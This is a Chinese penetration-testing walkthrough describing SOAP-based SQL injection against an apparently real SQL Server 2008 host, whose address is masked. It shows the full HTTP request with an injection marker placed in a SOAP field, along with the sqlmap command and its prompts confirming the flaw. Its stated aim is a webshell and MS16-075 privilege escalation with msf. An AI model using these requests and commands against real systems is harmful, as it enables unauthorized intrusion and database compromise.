soap注入某sql2008服务器结合msf进行提权

原文作者：陈小兵

    在实际成功渗透过程中，漏洞的利用都是多个技术的融合，最新技术的实践，本次渗透利用sqlmap来确认注入点，通过sqlmap来获取webshell，结合msf来进行ms16-075的提权，最终获取了目标服务器的系统权限。本文算是漏洞利用的一个新的拓展，在常规Nday提权不成功的情况下，结合msf进行ms16-075成功提权的一个经典案例。

1.1.1扫描soap注入漏洞

    1.使用awvs中的web services scanner进行漏洞扫描   打开awvs，选择web services scanner进行漏洞扫描，如图1所示，在wsdl url中填写目标url地址，注意一定是asmx?wsdl，有的是有asmx文件，如果没有则可以直接填写，例如：http://1**.***.***.***:8081/?wsdl。

图1进行soap注入漏洞扫描

2.处理sql盲注    

    通过awvs扫描，确认该url地址存在sql盲注（26处），在awvs中，单击右边的“view http headers”，将其内容复制到一个文本文件中，同时处理存在漏洞的语句，在本例中例如：

需要将红色字图部分更换为”-1*”。

3.完整的header包中内容如下：

POST /Service1.asmx HTTP/1.1

Content-Type: text/xml

SOAPAction: “http://tempuri.org/ZcpdList”

Content-Length: 716

X-Requested-With: XMLHttpRequest

Referer: http://1**.***.***.***:8081/?wsdl

Host: 1**.***.***.***:8081

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

 

<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:soap=”http://schemas.xmlsoap.org/wsdl/soap/”  xmlns:xsd=”http://www.w3.org/1999/XMLSchema”  xmlns:xsi=”http://www.w3.org/1999/XMLSchema-instance”  xmlns:m0=”http://tempuri.org/”  xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/” xmlns:urn=”http://tempuri.org/” xmlns:urn2=”http://tempuri.org/AbstractTypes”>

     <SOAP-ENV:Header/>

     <SOAP-ENV:Body>

        <urn:ZcpdList>

           <urn:Inventory_dhs>

             <urn:string>-1*</urn:string>

           </urn:Inventory_dhs>

        </urn:ZcpdList>

     </SOAP-ENV:Body>

</SOAP-ENV:Envelope>

Response

1.1.2确认soap注入漏洞

    1.使用sqlmap检测是否存在sql注入漏洞   将前面的header中的内容保存为1**.***.***.***.txt，将该文件复制到sqlmap.py程序所在目录，执行命令：sqlmap.py -r 1**.***.***.***.txt，对sqlmap提示的信息进行确认：

custom injection marker (‘*’) found in option ‘–data’. Do you want to process it? [Y/n/q] [color=Red]y[/color]

SOAP/XML data found in POST data. Do you want to process it? [Y/n/q][color=Red]y[/color]

如图2所示，sqlmap确认该sql注入漏洞存在，且该数据库服务器为windows 2008 R2，数据库版本为sql server 2008，soap存在漏洞为union查询。

图2 存在soap注入漏洞